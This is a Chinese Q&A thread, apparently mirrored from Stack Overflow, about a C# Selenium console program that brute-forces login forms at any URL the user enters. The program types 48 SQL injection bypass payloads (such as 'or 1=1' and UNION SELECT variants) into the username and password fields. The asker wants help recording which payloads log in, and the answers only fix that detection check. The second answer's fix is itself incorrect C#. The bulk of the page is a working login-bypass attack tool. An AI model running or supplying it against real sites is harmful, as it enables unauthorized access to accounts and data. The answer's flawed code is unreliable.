如何检查元素是否存在

时间:2015-05-05 18:20:39

标签: c# selenium-webdriver

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using OpenQA.Selenium;
using OpenQA.Selenium.Firefox;
namespace ConsoleApplication4
{
    class Program
    {
        static void Main(string[] args)
        {
            string[] logs = new string[10000];
            int log=0;
            string[] injections = new string[]{"admin' or 'a'='a",
"or 1=1",
"or 1=1--", 
"or 1=1#",
"or 1=1/*",
"admin' --",
"admin' #",
"admin'/*",
"admin' or '1'='1",
"admin' or '1'='1'--",
"admin' or '1'='1'#",
"admin' or '1'='1'/*",
"admin'or 1=1 or ''='",
"admin' or 1=1",
"admin' or 1=1--",
"admin' or 1=1#",
"admin' or 1=1/*",
"admin') or ('1'='1",
"admin') or ('1'='1'--",
"admin') or ('1'='1'#",
"admin') or ('1'='1'/*",
"admin') or '1'='1",
"admin') or '1'='1'--",
"admin') or '1'='1'#",
"admin') or '1'='1'/*",
"1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055",
"admin\" --",
"admin\" #",
"admin\"/*",
"admin\" or \"1\"=\"1",
"admin\" or \"1\"=\"1\"--",
"admin\" or \"1\"=\"1\"#",
"admin\" or \"1\"=\"1\"/*",
"admin\"or 1=1 or \"\"=\"",
"admin\" or 1=1",
"admin\" or 1=1--",
"admin\" or 1=1#",
"admin\" or 1=1/*",
"admin\") or (\"1\"=\"1",
"admin\") or (\"1\"=\"1\"--",
"admin\") or (\"1\"=\"1\"#",
"admin\") or (\"1\"=\"1\"/*",
"admin\") or \"1\"=\"1",
"admin\") or \"1\"=\"1\"--",
"admin\") or \"1\"=\"1\"#",
"admin\") or \"1\"=\"1\"/*",
"1234 \" AND 1=0 UNION ALL SELECT \"admin\", \"81dc9bdb52d04dc20036dbd8313ed055"};
            int counter=0;
            string url,usr,pass,text;
            System.Console.WriteLine("Enter the url to check sql injection");
            url= Console.ReadLine();
            System.Console.WriteLine("\nEnter the NAME of the usr");
            usr= Console.ReadLine();
            System.Console.WriteLine("\nEnter the NAME of the pass");
            pass= Console.ReadLine();
            System.Console.WriteLine("\nEnter the  text of link on page to know login");
            text = Console.ReadLine();
            IWebDriver Driver = new FirefoxDriver();
            while(counter<=47)
            {
            Driver.Navigate().GoToUrl(url);
            IWebElement y = Driver.FindElement(By.Name(usr));
            y.SendKeys(injections[counter]);

          IWebElement  z = Driver.FindElement(By.Name(pass));
               z.SendKeys(injections[counter]);
                z.Submit();

               if(Driver.FindElement(By.LinkText(text)));
               { 

                    logs[log]=usr;
                    log++;
            }

                counter++;
            }

        }
    }
}

如何将条件放在if(Driver.FindElement(By.LinkText(text)));或其他条件上,以便我知道用户已登录我正在制作一个可以测试SQL注入登录的自动脚本。或者,请帮助我做一个条件,如果条件为真,它将注入的查询存储在数组中,这样我就可以知道哪些注入成功登录。

2 个答案:

答案 0 :(得分:0)

尝试

if(Driver.FindElements(By.LinkText(text)).Count > 0)

或者抓住Driver.FindElement抛出的异常。

ISearchContext.FindElements

ISearchContext.FindElement

答案 1 :(得分:0)

我在这里看到语法错误。您将以;结束该行。应该是

if(Driver.FindElement(By.LinkText(text)))
{
    logs[log]=usr;
    log++;
}

我假设linkText有效并且返回正确的元素并且延迟不是问题。